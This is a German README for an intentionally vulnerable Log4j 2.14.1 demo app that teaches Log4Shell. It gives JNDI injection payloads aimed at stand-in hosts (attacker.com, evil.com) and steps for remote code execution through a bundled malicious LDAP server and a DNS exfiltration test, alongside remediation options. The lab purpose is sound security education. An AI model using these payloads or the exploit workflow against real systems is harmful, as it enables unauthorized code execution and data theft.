Log4j2-BugMaker

CVE-2021-44228 Log4Shell Schwachstellen-Demoprojekt

Dies ist ein Demoprojekt zum Erlernen und Erforschen der Log4j2 Remote-Codeausführungsschwachstelle (Log4Shell).

⚠️ Sicherheitswarnung

Dieses Projekt dient ausschließlich Sicherheitsforschung und Bildungszwecken. Nicht in Produktionsumgebungen verwenden!

Dieses Projekt verwendet die stark sicherheitslückenbehaftete Log4j-Version 2.14.1.

📋 Umgebungskonfiguration

• Spring Boot: 2.6.1
• Log4j2: 2.14.1 (angreifbare Version)
• Java: 8 (JDK 1.8)

🚀 Schnellstart

1. Projekt kompilieren

./mvnw clean package

2. Anwendung ausführen

./mvnw spring-boot:run

Oder:

java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar

3. Anwendung aufrufen

Öffnen Sie den Browser und gehen Sie zu: http://localhost:8080

🎯 Schwachstellen-Endpunkte

1. User-Agent-Header-Injektion

curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log

2. Abfrageparameter-Injektion

curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"

3. Gesundheitscheck (keine Schwachstelle)

curl http://localhost:8080/api/health

💡 Schwachstellenprinzip

Log4Shell (CVE-2021-44228) ist eine schwerwiegende Schwachstelle in Apache Log4j2. Wenn eine Anwendung Benutzereingaben protokolliert, die speziell formatierte Zeichenfolgen enthalten, analysiert Log4j2 JNDI-Nachschlageausdrücke. Angreifer können diese Eigenschaft nutzen, um Remote-Code auszuführen.

Beispiel für Angriffslasten

${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}

Testlasten (sicher)

${java:version}
${java:os}
${env:PATH}

🔧 Tests Schritte

1. Starten Sie die Anwendung
2. Senden Sie eine Anfrage mit einem JNDI-Ausdruck
3. Überprüfen Sie die Konsolenprotokolle, um das Analyseverhalten von Log4j2 zu beobachten

🛡️ Behebungsoptionen

Option 1: Log4j2-Version aktualisieren

Aktualisieren Sie Log4j2 auf Version 2.17.1 oder höher:

<properties>
    <log4j2.version>2.17.1</log4j2.version>
</properties>

Option 2: JVM-Parameter setzen

-Dlog4j2.formatMsgNoLookups=true

Option 3: JndiLookup-Klasse entfernen

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

🚀 Remote-Codeausführungs-Demonstration

Methode 1: Mitgeliefertes Tool verwenden (empfohlen)

# 1. Führen Sie das Automatisierungsskript aus
./setup-exploit-server.sh

# 2. Wählen Sie das JNDI-Injection-Exploit-Tool
# 3. Geben Sie den auszuführenden Befehl ein (z. B. whoami oder cat /etc/hosts)
# 4. Senden Sie die Angriffslast in einem anderen Terminal

Methode 2: Python LDAP-Server verwenden

# Starten Sie einen bösartigen LDAP-Server
python3 simple-ldap-server.py "whoami"

# Oder führen Sie andere Befehle aus
python3 simple-ldap-server.py "cat /etc/hosts"

# Senden Sie die Angriffslast in einem anderen Terminal
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log

Methode 3: DNS-Exfiltration-Überprüfung (kein Server erforderlich)

# Führen Sie das DNS-Exfiltration-Testskript aus
./test-dns-exfiltration.sh

# Folgen Sie den Anweisungen, um eine Subdomain von dnslog.cn zu erhalten
# Prüfen Sie dann, ob eine DNS-Abfrage eingegangen ist

📚 Referenzen

• CVE-2021-44228 Details
• Apache Log4j Sicherheitshinweis
• CISA-Warnung
• JNDI-Injection-Exploit
• JNDIExploit

📝 Lizenz

Dieses Projekt steht unter der MIT-Lizenz.

Hinweis: Dieses Projekt dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Der Benutzer trägt das Risiko der Nutzung.

⚠️ Rechtlicher Hinweis

Unbefugte Penetrationstests an fremden Systemen sind illegal! Dieses Projekt ist nur für:

• Lernen in der eigenen Testumgebung
• Autorisierte Sicherheitstests
• Sicherheitsforschung und Bildungszwecke

Bitte halten Sie sich an lokale Gesetze und nutzen Sie dieses Wissen verantwortungsvoll.